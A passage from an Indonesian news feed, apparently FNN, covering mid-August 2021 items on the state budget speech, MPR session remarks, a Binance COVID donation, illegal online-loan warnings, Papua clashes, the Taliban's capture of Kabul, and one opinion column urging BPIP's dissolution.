perkiraan target pertumbuhan ekonomi sebesar tersebut juga memerhatikan kewaspadaan terhadap perkembangan pandemi COVID-19 yang masih sangat dinamis. Presiden Jokowi menekankan bahwa pemerintah akan mengerahkan seluruh sumber daya, analisis ilmiah, dan pandangan ahli untuk mengendalikan pandemi COVID-19 di Indonesia agar pemulihan ekonomi dan kesejahteraan sosial dapat dijaga serta terus dipercepat dan diperkuat. Jokowi mengatakan tingkat pertumbuhan ekonomi ini juga menggambarkan proyeksi pemulihan yang cukup kuat, didukung oleh pertumbuhan investasi dan ekspor sebagai dampak pelaksanaan reformasi struktural. Namun, kewaspadaan tetap diperlukan mengingat ketidakpastian global dan domestik dapat menyumbang risiko bagi pertumbuhan ekonomi ke depan. Sementara itu, inflasi akan tetap terjaga pada tingkat 3 persen, menggambarkan kenaikan sisi permintaan, baik karena pemulihan ekonomi maupun perbaikan daya beli masyarakat Sedangkan rupiah diperkirakan bergerak pada kisaran Rp14.350 per dolar AS, dan suku bunga Surat Utang Negara 10 tahun diperkirakan sekitar 6,82 persen yang disebutnya mencerminkan fundamental ekonomi Indonesia dan pengaruh dinamika global. Selanjutnya harga minyak mentah Indonesia (ICP) diperkirakan akan berkisar pada 63 dolar AS per barel. Lifting minyak dan gas bumi diperkirakan masing-masing mencapai 703.000 barel dan 1.036.000 barel setara minyak per hari. (mth)

Binance Crypto Serahkan Dua Tangki Oksigen Cair untuk Indonesia

Jakarta, FNN - Sebagai bagian dari program "Crypto Against COVID" yang sedang berlangsung, Binance Charity mengirimkan dua tangki oksigen cair dengan total 40.000 liter (setara 5.000 silinder) kepada Indonesia yang akan diterima Kementerian Kesehatan RI. Indonesia merupakan salah satu negara yang menerima vaksin sebagai bagian dari upaya COVAX (COVID-19 Vaccines Global Access) yang salah satunya diinisiasi Binance Charity. Dalam kemitraan dengan UNICEF, Binance Charity telah menyumbangkan 1 juta dolar AS untuk mendukung upaya COVAX yang dipimpin oleh PBB. Pada akhir tahun 2021, tujuan dari upaya ini adalah untuk membantu mengirimkan vaksin yang bersumber dari COVAX ke lebih dari 250.000 orang di 11 negara, meliputi Indonesia, Ghana, Nigeria, Kenya, Uganda, Mesir, Filipina, Vietnam, Bangladesh, Ukraina, dan Brasil. Kepala Binance Charity, Helen Hai dalam siaran pers, Senin mengatakan, "Varian Delta telah membawa gelombang keruntuhan dan kehancuran baru yang tak ada hentinya ke banyak daerah, banyak di antaranya berharap yang terburuk telah berlalu." "Kami sangat sedih melihat orang-orang Indonesia mengalami bulan yang paling memukul sejauh ini. Kami mendukung mereka dan menawarkan dukungan kami dalam mengatasi ini. Hari-hari yang lebih cerah akan datang.” kata Kepala Binance Charity, Helen Hai dalam siaran pers, Senin. Binance Charity kemudian meluncurkan "Crypto Against COVID" pada Januari 2020, yang memberikan 5 juta dolar untuk penanganan COVID-19 di seluruh dunia, termasuk 2 juta APD (alat perlindungan diri) kepada 400 rumah sakit di 26 negara. Pada Mei, Binance Charity mengirim dua tangki oksigen cair ke India dan baru-baru ini ada sumbangan 100.000 masker dan 50 ventilator ICU (intensive care unit). Vietnam akan menerima instrumen PCR (Polymerase Chain Reaction) canggih, yang mampu memproses 400 tes COVID per hari. (mth)

VW Tiguan Allspace "Sport Edition" Masuk Indonesia, Harga Rp685 Juta

Jakarta, FNN - PT Garuda Mataram Motor (GMM) selaku pemegang merek Volkswagen di Indonesia memperkenalkan edisi khusus VW Tiguan Allspace: The Sport Edition. VW Tiguan Allspace: The Sport Edition ditawarkan seharga Rp685 Juta (on the road Jabodetabek) dan dijual eksklusif sejak awal Agustus di seluruh diler VW Indonesia. Setiap unit akan mendapatkan nomor edisi khusus yang menandai nilai khas mobil itu. "VW Tiguan Allspace memiliki keunggulan sesuai dengan kebutuhan konsumen keluarga Indonesia yang memang menyukai mobil dengan kepraktisan dan daya angkut hingga tujuh penumpang," kata Head of Marketing and Communications Volkswagen PT Garuda Mataram Motor, Rony Syarif dalam siaran pers, Selasa. "Kini, VW Tiguan Allspace sebagai sebuah SUV premium tak hanya menyuguhkan pilihan tersebut, namun juga memberikan opsi yang semakin eksklusif dengan kehadiran edisi spesial: The Sport Edition. Model ini ditawarkan secara terbatas, dalam rangka menyambut HUT Kemerdekaan RI ke-76 tahun 2021 ini,” ujar dia. Terdapat perbedaan pada Sport Edition itu, antara lain bumper depan sporty, trim pintu dengan body colour, bumper belakang full body, diffuser hitam, spoiler atap hitam dan cover spion dengan body colour VW Tiguan Allspace merupakan generasi kedua VW Tiguan atau SUV Volkswagen Group pertama yang menggunakan platform MQB (modular transverse matrix). Bobotnya VW Tiguan Allspace dipangkas sekitar 50 kg dibandingkan model sebelumnya, namun dimensinya lebih besar dengan jarak sumbu roda bertambah 77 mm dibandingkan sebelumnya untuk memberi kelegaan pada penumpang di baris ketiga. Kapasitas bagasi dalam kondisi seluruh bangku ditegakkan sebesar 230 liter. Ketika saat bangku baris ketiga dilipat, kapasitasnya mencapai 700 liter, dan saat kedua baris bangku belakang terlipat, kapasitas terdongkrak menjadi 1.775 liter. VW Tiguan Allspace juga mengusung mesin 1.4 TSI yang mampu menghasilkan tenaga puncak 150 bhp dan torsi 250 Nm, dibantu transmisi otomatis 6-speed kopling ganda (DSG) plus triptonic. Mesin itu memberikan kemampuan akselerasi 0 – 100 km/jam dalam waktu 9,5 detik, dengan kecepatan puncak hingga 202 km/jam. (mth)

Baku Tembak di Gome, Seorang Prajurit Terluka

Jayapura, FNN - Dandrem 173/PVB Brigjen TNI Iwan Setiawan membenarkan telah terjadi baku tembak di Gome, Kabupaten Puncak, Papua, hingga seorang prajurit TNI terluka. "Memang benar pada hari Minggu (15/8) terjadi kontak senjata di Gome hingga menyebabkan seorang prajurit dari Yonif 715/Matuliato terluka tembak," kata Brigjen TNI Iwan Setiawan ketika dikonfirmasi ANTARA di Jayapura, Senin. Ia menyebutkan korban bernama Letda Inf. Rudi Sipayung mengalami luka tembak. Saat ini yang bersangkutan sudah dievakuasi ke Timika. Dari laporan yang diterimanya, terungkap baku tembak terjadi saat anggota sedang melaksanakan patroli. Kondisi prajurit yang terluka, kata Brigjen TNI Iwan Setiawan, stabil karena langsung ditangani dokter dan paramedis dari Yonif 715. Ketika ditanya kontak senjata dengan kelompok mana, Dandrem menduga kelompok Goliat Tabuni. "Wilayah Gome dikuasai kelompok Goliat Tabuni," kata Brigjen TNI Iwan Setiawan. (sws)

LaNyalla: DPD RI Dukung Adanya PPHN

Jakarta, FNN - Ketua DPD RI AA LaNyallaMahmud Mattalitti menyatakan DPD RI mendukung adanya Pokok-Pokok Haluan Negara (PPHN) dalam konstitusi Indonesia. LaNyalla saat berpidato pada Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021 di Gedung MPR/DPR/DPD RI, Jakarta, Senin, mengatakan bahwa tatanan baru perlu dijawab dengan kesiapan bangsa secara fundamental. Dengan menentukan arah kemandirian dan kedaulatan bangsa, menurut dia, sebagai bagian kesiapan menyongsong perubahan global dan tata dunia baru. Apalagi, ada ancaman bencana di depan mata, yaitu perubahan iklim global. "Maka, sangat penting bagi kita sebagai bangsa yang besar dan tangguh memiliki arah kebijakan yang kita sepakati bersama, antara eksekutif dan legislatif. Oleh karena itu, DPD RI mendukung adanya Pokok-Pokok Haluan Negara dalam konstitusi kita," katanya. Melalui PPHN, menurut LaNyalla, bangsa harus mampu merumuskan kedaulatan energi, kemandirian pangan, ketahanan sektor kesehatan, sosial, ekonomi, dan pertahanan keamanan bangsa yang besar ini, termasuk kesejahteraan dan kemakmuran daerah di seluruh Indonesia. "Kita harus memastikan energi baru terbarukan menjadi prioritas, termasuk keberanian kita sebagai bangsa besar untuk memanfaatkan nuklir sebagai pembangkit energi yang relatif lebih murah, kemandirian pangan mutlak harus menjadi solusi yang harus kita wujudkan dengan bonus iklim negara tropis," ucapnya. Begitu juga, kata dia, dengan sumber daya hutan, daratan, dan laut yang melimpah. Pasalnya, ancaman perang masa depan adalah perebutan sumber daya pangan dan air bersih. Oleh karena itu, negara harus memastikan industri-industri hulu yang dahulu dibangun pada era Orde Lama dan Orde Baru tidak boleh dibiarkan mati hanya karena sudah tidak efisien lagi dibanding impor. "Justru sebaliknya harus kita restorasi," kata LaNyalla. KIrisis global yang dipicu pandemi COVID-19, kata dia, juga melahirkan peluang-peluang baru. Imajinasi-imajinasi baru dan pemikiran-pemikiran baru untuk membangun kehidupan baru yang dibayangkan bisa menghindari terjadinya krisis serupa pada masa depan. Menurut dia, setiap krisis besar biasanya melahirkan revolusi pemikiran untuk menjawab perubahan. Bahkan, setiap negara yang memasuki transisi menuju era baru sering ditandai dengan perubahan konstitusi seperti dilakukan Indonesia pada tahun 1999 hingga 2002. Ketika Indonesia menuju sistem politik yang diharapkan lebih demokratis. Hari ini, kata LaNyalla, 19 tahun sejak amendemen konstitusi dilakukan oleh bangsa ini. "Sekarang kita pun menuju dan akan memasuki era baru pascapandemi COVID-19 yang diikuti dengan era disruptif di hampir semua lini," katanya. Oleh karena itu, dunia dengan tatanan baru perlu dijawab dengan kesiapan secara fundamental. (sws)

Kemenkumham Sulsel Bukukan PNBP Sebanyak Rp1,2 Miliar

Makassar, FNN - Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Sulawesi Selatan (Sulsel) mampu meningkatkan pendapatan negara bukan pajak (PNBP) hingga Juli 2021 sebanyak Rp1,2 miliar. Kepala Divisi Pelayanan Hukum dan HAM (Kadiv Yankumham) Kanwil Kemenkumham Sulsel Anggoro Dasananto, di Makassar, Senin, mengatakan selama 2021 penerimaan negara bukan pajak dari layanan Kekayaan Intelektual (KI) Kanwil Kemenkumham Sulsel terkumpul sebesar Rp1,2 miliar. "Untuk periode yang sama di tahun lalu itu ada peningkatan, karena di tahun sebelumnya hanya Rp847 juta PNBP-nya, sekarang sudah meningkat dan semoga ke depannya meningkat terus," ujarnya. Menurut Anggoro, layanan KI yang banyak dilayani adalah pendaftaran merek, hak cipta, paten, desain industri, dan Kekayaan Intelektual Komunal (KIK). Pendaftarannya dapat dilakukan melalui Kanwil Sulsel, melalui Sentra KI maupun dalam jaringan (daring/online) langsung ke Ditjen Kekayaan Intelektual di Jakarta. Kakanwil Kemenkumham Sulsel Harun Sulianto mengatakan peningkatan pendaftaran KI ini disebabkan adanya sinergitas dengan berbagai instasi daerah dan perguruan tinggi. "Saat ini telah dilakukan kerja sama dengan 11 pemda, 9 perguruan tinggi, dan 4 instansi lainnya," katanya. Harun menyatakan 11 pemda sudah bekerja sama dengan pihaknya, yakni Pemda Luwu Utara, Pangkep, Takalar, Enrekang, Pinrang, Luwu Timur, Sidrap, Wajo, Palopo, Sinjai, dan Bone. Selanjutnya, kata Harun masih ada 9 perguruan tinggi lainnya yang juga sudah kerja sama, yaitu Universitas Hasanuddin (Unhas), Universitas Negeri Makassar (UNM), Universitas Islam Negeri (UIN) Alauddin, Politeknik Pertanian Negeri Pangkep, Universitas Muslim Indonesia (UMI), Universitas Indonesia Timur, (UIT) Universitas Fajar, Universitas Sawerigading, dan Institut Ilmu Kesehatan Pelamonia. Sedangkan 4 instansi lain yang sudah kerja sama adalah Dinas Koperasi dan UMKM Sulsel, Dinas Perindustrian Sulsel, Balai Besar Industri Hasil Perkebunan, dan Kanwil Bea Cukai Sulbagsel. Kepala Bidang Pelayanan Hukum Kanwil Kemenkumham Sulsel Mohammad Yani mengatakan bahwa karena pandemi COVID-19, pihaknya juga membuat inovasi layanan konsultasi online sehingga para pemohon KI tidak perlu datang ke kanwil. "Cukup dengan telepon, SMS atau dengan WA, kemudian akan dipandu oleh duta layanan kami," kata Yani. Ke depan, ujar Yani, pihaknya juga akan kerja sama dengan Pemkab Jeneponto dan Bantaeng terkait pengembngan potensi Kekayaan Intelektual Komunal dan Indikasi Geografis. (sws)

Ketua MPR Dukung Paket Kebijakan Pemerintah Atasi Pandemi COVID-19

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo, mengatakan pihaknya mendukung sepenuhnya upaya pemerintah melalui sejumlah paket kebijakan dalam mengatasi pandemi COVID-19 beserta dampaknya. "Kami sangat mendukung sepenuhnya paket kebijakan pemerintah dalam mengatasi pandemi COVID-19," kata Bambang Soesatyo saat membuka Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021 di Gedung MPR/DPR/DPD RI, Jakarta, Senin. Menurut dia, realokasi APBN dan program Pemulihan Ekonomi Nasional (PEN) dalam bentuk program perlindungan sosial dengan beragam skema dan saluran, refocusing anggaran kesehatan, realokasi dukungan UMKM dan korporasi, bantuan langsung tunai dana desa, insentif usaha, serta potongan tarif listrik PLN adalah langkah kebijakan yang tepat untuk menangani dampak ekonomi dan sosial akibat pandemi COVID-19. Bamsoet sapaan Bambang Soesatyo mengatakan pandemi COVID-19 tidak hanya meruntuhkan sendi-sendi ekonomi, sosial dan budaya, tetapi secara nyata telah membuat masyarakat semua kehilangan sahabat, kerabat, anak, istri, suami, orangtua dan sanak-saudara yang meninggal dunia akibat COVID-19. Oleh karena itu, dia menghimbau kepada seluruh masyarakat Indonesia untuk terus meningkatkan disiplin protokol kesehatan, menjaga jarak, membatasi interaksi. "Serta melakukan vaksinasi untuk mencegah dan menurunkan tingkat persebaran, tingkat fatalitas dan kematian akibat COVID-19," tuturnya. Pandemi COVID-19, lanjut dia, memberikan dampak yang sangat besar terhadap berbagai dimensi kehidupan bermasyarakat, berbangsa dan bernegara. "Tidak hanya masalah kesehatan manusia dan kemanusiaan, tetapi lebih luas lagi terasa dampaknya dalam dinamika dan stabilitas kehidupan ideologi, politik, ekonomi, sosial dan budaya, bahkan dalam bidang pertahanan dan keamanan negara," kata Bamsoet. Politisi Partai Golkar ini menilai masyarakat Indonesia merasakan dampaknya, baik yang tinggal di perkotaan maupun di pedesaan utamanya semakin melemahnya ketahanan ekonomi masyarakat akibat menurunnya pendapatan karena pemutusan hubungan kerja dan tidak adanya kesempatan kerja. Dampak lainnya adalah hilangnya kesempatan berusaha akibat terbatasnya aktifitas ekonomi masyarakat, modal dan investasi untuk menopang perekonomian masyarakat pengusaha kecil maupun menengah. "Pandemi COVID-19 juga memaksa kita untuk beradaptasi dengan kebiasaan baru, belajar dan bekerja dari rumah, menjaga jarak, dan membiasakan diri dengan cara cara baru menjaga kesehatan yang juga berdampak terhadap merenggangnya kohesi sosial kita," kata Bamsoet. (sws)

LaNyalla: Jangan Sekali-kali Tinggalkan Sejarah

Jakarta, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI La Nyalla Mahmud Mattalitti mengingatkan kembali ucapan Presiden Soekarno agar jangan sekali-kali meninggalkan sejarah. "Tidak mengherankan bila Presiden Soekarno mengingatkan kita semua, agar jangan sekali-kali meninggalkan sejarah," kata La Nyalla saat berpidato pada Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021, di Gedung MPR/DPR/DPD RI, Jakarta, Senin, 16 Agustus 2021. La Nyalla menegaskan, Indonesia merupakan negara besar, karena lahir dari kerajaan dan kesultanan Nusantara, yang telah memiliki peradaban yang unggul. Para raja dan sultan Nusantara, juga secara langsung turut membentuk lahirnya negara ini melalui dukungan mereka kepada para pendiri bangsa saat itu. "Dalam sejarah, bagaimana para sultan dan raja Nusantara memberikan sumbangan mereka kepada Indonesia di awal kemerdekaan. Salah satunya sumbangan uang 13 juta gulden dari Sultan Siak dan pesawat kepresidenan serta emas Monas dari tokoh dan rakyat Aceh," ujar La Nyalla. Selain itu, sumbangsih para tokoh pejuang kemerdekaan, yang terdiri dari tokoh pergerakan, militer, ulama dan agamawan, hingga kaum terdidik dan cendekiawan. "Mereka menyumbangkan pikiran jernih dalam Sidang BPUPKI dan PPKI dalam menyiapkan kemerdekaan Indonesia. Kemudian menghasilkan karya agung bangsa ini, yaitu Pancasila dan Undang-Undang Dasar 1945," kata La Nyalla. La Nyalla menegaskan, sejarah bangsa Indonesia tangguh, mewarisi negara besar. Sehingga, negara yang seharusnya mampu memakmurkan rakyatnya dan mewujudkan keadilan sosial bagi seluruh rakyat Indonesia. La Nyalla mengajak semua peserta Sidang Tahunan MPR untuk memfokuskan pikiran dan hati sebagai negarawan sejati, untuk bersama melangkah mewujudkan Indonesia Tangguh, Indonesia Tumbuh. Dalam sidang Tahunan MPR, Sidang Bersama DPR/DPD RI, dan Pidato Kenegaraan Presiden dalam rangka penyampaian RUU tentang APBN 2022, digelar secara luring dan daring. Dari daftar hadir terdapat sebanyak 311 dari 363 anggota legislatif yang menghadiri acara. (MD).

Jokowi Sebut Pandemi Seperti Api

Jakarta, FNN - Presiden Joko Widodo menyebutkan krisis, resesi, dan pandemi itu seperti api. Karena demikian, jika memungkinkan harus dihindari tetapi jika hal itu tetap terjadi, banyak hal yang bisa diambil sebagai pelajaran. “Api memang membakar, tetapi juga sekaligus menerangi. Kalau terkendali, dia menginspirasi dan memotivasi. Dia menyakitkan, tetapi sekaligus juga menguatkan," kata Presiden Jokowi saat menyampaikan pidato kenegaraan pada Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021 di Gedung MPR/DPR/DPD RI, Jakarta, Senin, 16 Agustus 2021. Jokowi mengatakan keinginan agar pandemi bisa menerangi semua untuk mawas diri, memperbaiki diri, dan menguatkan diri, dalam menghadapi tantangan masa depan. Pandemi itu seperti kawah candra dimuka yang menguji, yang mengajarkan, dan sekaligus mengasah. Pandemi dikatakan Presiden, memberikan beban yang berat kepada semua, beban yang penuh dengan risiko, dan memaksa semua untuk menghadapi dan mengelolanya. "Semua pilar kehidupan kita diuji, semua pilar kekuatan kita diasah. Ketabahan, kesabaran, ketahanan, kebersamaan, kepandaian, dan kecepatan kita, semuanya diuji dan sekaligus diasah," tutur Presiden. Ujian dan asahan menjadi dua sisi mata uang yang tidak terpisahkan. Bukan hanya beban yang diberikan kepada semua, tetapi kesempatan untuk memperbaiki diri juga diajarkan kepada semua. "Tatkala ujian itu terasa semakin berat, asahannya juga semakin meningkat. Itulah proses menjadi bangsa yang tahan banting, yang kokoh, dan yang mampu memenangkan gelanggang pertandingan," ujar Jokowi. Dalam acara tersebut, okowi mengenakan baju adat Baduy. Hadir pada pidato kenegaraan tersebut Wakil Presiden Republik Indonesia, Profesor K.H. Ma’ruf Amin beserta Ibu Wury Estu Ma’ruf Amin; Ketua, para Wakil Ketua, dan para Anggota MPR Republik Indonesia; Ketua, para Wakil Ketua, dan para Anggota DPR Republik Indonesia; Ketua, para Wakil Ketua, dan para Anggota DPD Republik Indonesia; dan Ketua, para Wakil Ketua, dan para Anggota Lembaga-Lembaga Negara. Hadir pula sebagian secara virtual Presiden Republik Indonesia Kelima Megawati Soekarnoputri; Mantan Wakil Presiden Try Sutrisno dan Hamzah Haz; Muhammad Jusuf Kalla beserta Ibu Mufidah Jusuf Kalla; Boediono beserta Ibu Herawati Boediono; serta istri Mantan Presiden Hajah Shinta Nuriyah Abdurrahman Wahid. Kemudian ada pula para Duta Besar Negara-Negara Sahabat dan para Pimpinan Perwakilan Badan dan Organisasi Internasional. Selain itu para Menteri Kabinet Indonesia Maju, Panglima TNI, dan Kapolri, serta para Ketua Umum Partai Politik. (MD).

Vaksinasi Ideologi Tingkatkan Ketahanan Rakyat

Jakarta, FNN - Ketua Majelis Permusyawaratan Rakyat (MPR) RI Bambang Soesatyo mengatakan, dalam upaya memerangi pandemi Covid-19 beserta dampaknya tidak hanya dilakukan dengan meningkatkan ketahanan tubuh dengan vaksinasi. "Tetapi harus dibarengi dengan upaya melakukan vaksinasi ideologi untuk meningkatkan ketahanan ideologi masyarakat," kata Bambang Soesatyo saat membuka Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021 di Gedung MPR/DPR/DPD RI, Jakarta, Senin, 16 Agustus 2021. Menurut Bambang Soesatyo, pandemi Covid-19 tidak hanya memiliki dampak ekonomis yang nyata dengan meningkatnya angka pengangguran, kemiskinan, kesenjangan yang berpotensi menimbulkan permasalahan dalam bidang-bidang lainnya. Akan tetapi, yang juga patut diwaspadai adalah potensi bangkitnya nilai-nilai, paham individualisme, komunisme, intoleransi, separatisme, radikalisme, terorisme, dan etno nasionalisme di tengah ketidakpastian akibat pandemi covid-19. Dalam kerangka itu, lanjut dia, pimpinan dan seluruh anggota MPR RI, dengan segala keterbatasan yang ada, terus melakukan vaksinasi ideologi melalui sosialisasi Empat Pilar MPR. Empat pilar MPR itu, yaitu Pancasila sebagai ideologi dan dasar negara, UUD NRI Tahun 1945 sebagai konstitusi negara, NKRI sebagai bentuk negara, dan Bhinneka Tunggal Ika sebagai semboyan negara kepada seluruh lapisan masyarakat di seluruh wilayah tanah air. "Melalui vaksinasi ideologi, kami meyakini segala potensi ancaman dan gangguan yang berpotensi memecah belah persatuan dan kesatuan bangsa akan dapat dicegah dan ditangkal," papar politisi Partai Golkar iitu. Dikutip dari Antara, Bambang mengatakan, dengan badai Cvid-19, , justru akan semakin memperkuat ketahanan ideologi bangsa, sehingga pandemi corona tidak hanya menjadi tantangan. "Tetapi menjadi peluang untuk bangkit beradaptasi dengan tuntutan dinamika, situasi dan kondisi yang baru," tuturnya. (MD).

Bubarkan dan Usut Penyusup

By M Rizal Fadillah DALAM rangka memperingati Hari Santri Nasional 2021 BPIP mengadakan kompetisi penulisan dengan tema "Menghormat Bendera menurut Hukum Islam" dan "Menyanyikan Lagu kebangsaan Menurut Hukum Islam". Tema ini dinilai mengada ada karena di samping tidak penting juga tendensius yang secara tidak langsung menjadi bagian dari apa yang dikenal dengan Islamophobia. BPIP menjadi lembaga yang tidak simpatik. Tak jelas fungsi dan kerjanya. Ketua BPIP Prof Yudian Wahyudi untuk kesekian kali membuat masalah. Dari salam Pancasila, menghardik cadar, toleran atas sex di luar nikah, hingga berujung tekad untuk puasa bicara. Kini lembaganya buat heboh lagi dengan mengadakan kompetisi penulisan yang menyinggung hukum Islam. Seruan bubarkan BPIP menguat karena badan pemborosan uang negara ini samasekali tak berguna. Alih-alih membela Pancasila, nyatanya malah merusak implementasi Pancasila. Para personalnya sok pancasilais dengan memosisikan orang lain sebagai binaan. Padahal pemahaman internal BPIP soal Pancasila juga patut diragukan dan mungkin harus dikompetisikan dulu melalui karya tulis. Sepakat bahwa BPIP bubarkan saja. Tapi para penanggungjawab atau penyusup atas isu kontroversial keagamaan mesti diproses hukum agar tidak seenaknya atau gegabah mempermainkan perasaan masyarakat, khususnya umat Islam dengan memanfaatkan BPIP untuk menyudutkan. Dalang dan penyusup dalam BPIP harus segera diusut. Adakah kader Neo PKI di BPIP ? Indikasi keterlibatan dalam otak atik aspek keagamaan patut untuk dicurigai. Soal hormat bendera dan lagu kebangsaan yang dihubungkan dengan hukum Islam adalah jelas provokasi dan adu domba. Sejak RUU HIP yang berlanjut ke RUU BPIP bangsa ini telah dan terus dibuat gaduh. Ideologi Pancasila digoyang dengan kamuflase pembelaan dan atau pembinaan. Kasus ekspresi seni politk dalam bentuk mural akhir akhir ini diobrak abrik bahkan dikejar pelukis nya, sementara penyusup yang semestinya di usut di BPIP justru tidak dipermasalahkan. Berlindung di balik ideologi Pancasila untuk menggerus nilai-nilai Pancasila itu sendiri adalah perbuatan kriminal. Hal ini sangat berbahaya dan tidak boleh dibiarkan. Apalagi jika BPIP ternyata menjadi alat politik ideologis yang digenggam rezim dalam menempatkan Pancasila sebagai sarana penguatan kelompok mapan untuk melumpuhkan oposan. Bubarkan BPIP dan usut penyusup. *) Pemerhati Politik dan Kebangsan

Waspadai Tawaran Pinjaman Online Ilegal

Padang, FNN - Otoritas Jasa Keuangan kembali mengingatkan masyarakat supaya mewaspadai penawaran pinjaman online ilegal yang biasanya ditawarkan lewat pesan seluler atau media sosial. "Kalau ada yang mendapat tawaran pinjaman online melalui SMS atau whatsap, sebaiknya tidak usah direspon karena pihak pemberi pinjaman tidak boleh memberikan tanpa minta persetujuan masyarakat," kata Kepala Kantor OJK Sumbar, Yusri, di Padang, Ahad, 15 Agustus 2021. Menurutnya, kalau ada masyarakat yang mendapatkan penawaran tersebut silahkan melapor ke OJK. Sebagai tindak lanjut, jika pinjaman online itu tidak berizin maka situs dan webnya bisa ditutup oleh Satuan Tugas (Satgas) Waspada Investasi. Setiap perusahaan yang menawarkan jasa pinjaman kepada masyarakat wajib memiliki pernyataan aplikasi pinjaman yang diberikan dokumentasinya oleh OJK. "Jadi hanya perusahaan pinjaman online yang mendapat izin dari OJK yang boleh memberikan pembiayaan kepada masyarakat dan sepanjang tidak terdaftar di OJK artinya mereka ilegal," ujarnya sebagaimana dikutip dari Antara. Di sisi lain, OJK terus melakukan edukasi kepada masyarakat agar tidak terjebak dengan pinjaman online ilegal yang bunganya mencekik dan berlipat-lipat. Sebelumnya Satgas Waspada Investasi (SWI) yang beranggotakan 13 kementerian dan lembaga sepakat memperkuat upaya penegakan hukum untuk memberantas pinjaman online atau pinjol ilegal di Tanah Air. Ketua Satgas Waspada Investasi Tongam L Tobing dalam pernyataan di Jakarta mengatakan, para anggota SWI akan semakin memperketat ruang lingkup pelaku kejahatan pinjol ilegal dengan menggunakan kewenangan di masing-masing kementerian dan lembaga. Upaya itu juga akan diikuti dengan memperluas sosialisasi dan edukasi ke masyarakat mengenai bahaya pinjaman online ilegal melalui media massa dan sosial media serta komunikasi langsung kepada masyarakat. "SWI mendorong penegakan hukum kepada para pelaku pinjaman online ilegal ini, karena pemblokiran situs dan aplikasi tidak menimbulkan efek jera dari pelaku kejahatan ini. Pinjol ilegal ini persoalan bersama yang harus kita berantas bersama-sama untuk melindungi rakyat," ujar Tongam. Pada Juli ini, SWI kembali menemukan dan menutup 172 pinjaman online ilegal yang beredar secara digital melalui penawaran lewat SMS, aplikasi gawai, dan di internet. Penutupan dilakukan karena berpotensi merugikan masyarakat. Sebab, bunga dan tenggat pinjaman yang tidak transparan, serta ancaman dan intimidasi dalam penagihan. (MD)

Taliban Duduki Istana, Presiden Afghanistan Lari ke Tajikistan

Kabul, FNN - Hanya beberapa jam setelah memasuki kota Kabul, para pejuang Talibal berhasil menduduki Istana Kepresidenan. Sementara Presiden Afghanistan Ashraf Ghani dilaporkan telah meninggalkan ibu kota negara tersebut menuju Tajikistan. Ghani meninggalkan negaranya saat Taliban memasuki Kabul pada Ahad, 15 Agustus 2021. Tidak ada perlawanan dari pasukan pemerintah ketika para pejuang Taliban mengepung Kabul dari berbagai penjuru, dan kemudian menguasainya. Jatuhnya Kabul kepada Taliban di luar perkiraan analisis dan intelijen Amerika Serikat dan negara-negara barat. Perkiraan sebelumnya, mereka akan menguasai Kabul dalam jangka 90 hari atau tiga bulan. Berdasarkan laporan berbagai media internasional, Senin, 16 Agustus 2021, di akun Telegram resminya, Taliban membagikan foto-foto interior istana yang kelihatan utuh. Tetapi keadaan di istana kosong dan ditinggalkan para pejabatnya. Sebuah video juga diposting di media sosial beberapa jam sebelumnya yang menunjukkan para pejuang Taliban tiba di Istana Kepresidenan di Kabul. Juru bicara Taliban, Zabihullah Mujahid mengatakan sebelumnya pasukannya akan mulai memasuki wilayah kota di mana pejabat pemerintah dan pasukan keamanan telah meninggalkan pos mereka. "Pagi ini Imarah Islam (Taliban) mengeluarkan pernyataan bahwa pasukan kami berada di luar kota Kabul dan kami tidak ingin memasuki Kabul melalui cara militer," katanya. "Namun, sekarang kami mendapat laporan bahwa kantor polisi distrik dievakuasi, polisi telah meninggalkan pekerjaan mereka untuk memastikan keamanan, juga kementerian dikosongkan dan personel keamanan pemerintah Kabul telah melarikan diri," tambahnya. "Taliban telah memasuki istana presiden," kata seorang komandan senior Taliban. Sementara itu, tiga sumber senior Taliban mengatakan kepada AFP, gerilyawan telah menguasai istana presiden. "Para mujahidin telah memasuki istana presiden dan telah menguasainya," kata seorang komandan kedua. Dia menambahkan, sebuah pertemuan tentang keamanan di Ibu Kota sedang berlangsung di sana. Seorang pejabat tinggi Kementerian Dalam Negeri Afghanistan mengatakan Presiden Ghani sudah pergi ke Tajikistan. Ketika dimintai komentar, kantor kepresidenan mengatakan "tidak bisa mengatakan apa pun menyangkut pergerakan Ashraf Ghani atas alasan keamanan". Seorang pejabat tinggi kementerian luar negeri secara terpisah mengatakan, Ghani sudah meninggalkan Afghanistan. Ia mengaku tidak tahu pasti ke mana sang presiden pergi. Sementara itu, kepala lembaga perdamaian Afghanistan Abdullah tidak lagi menganggap Ghani sebagai presiden Afghanistan. Dalam pesan melalui video, Ahad , Abdullah menggambarkan Ghani sebagai mantan presiden. Beberapa jam setelah kelompok Taliban memasuki Kabul, Abdullah mengeluarkan pernyataan yang menyalahkan Ghani atas situasi yang berlangsung saat ini di Afghanistan. Perwakilan Taliban mengatakan, mereka sedang memeriksa keberadaan Presiden Ghani. Juru bicara Taliban, Zabihullah Mujahid, mengatakan kelompoknya bersiaga di daerah-daerah pinggir kota dan sedang berbicara dengan pemerintah Afghanistan --yang didukung negara-negara Barat-- untuk meminta pemerintah menyerah secara damai. "Para petempur Taliban sedang bersiaga di semua pintu masuk Kabul sampai peralihan kekuasaan secara damai dan memuaskan disetujui," katanya sebagaimana dikutip dari Antara. (MD)

Sandiaga Uno Berikan 1.000 Beasiswa Kepada Anak Pedagang Kecil

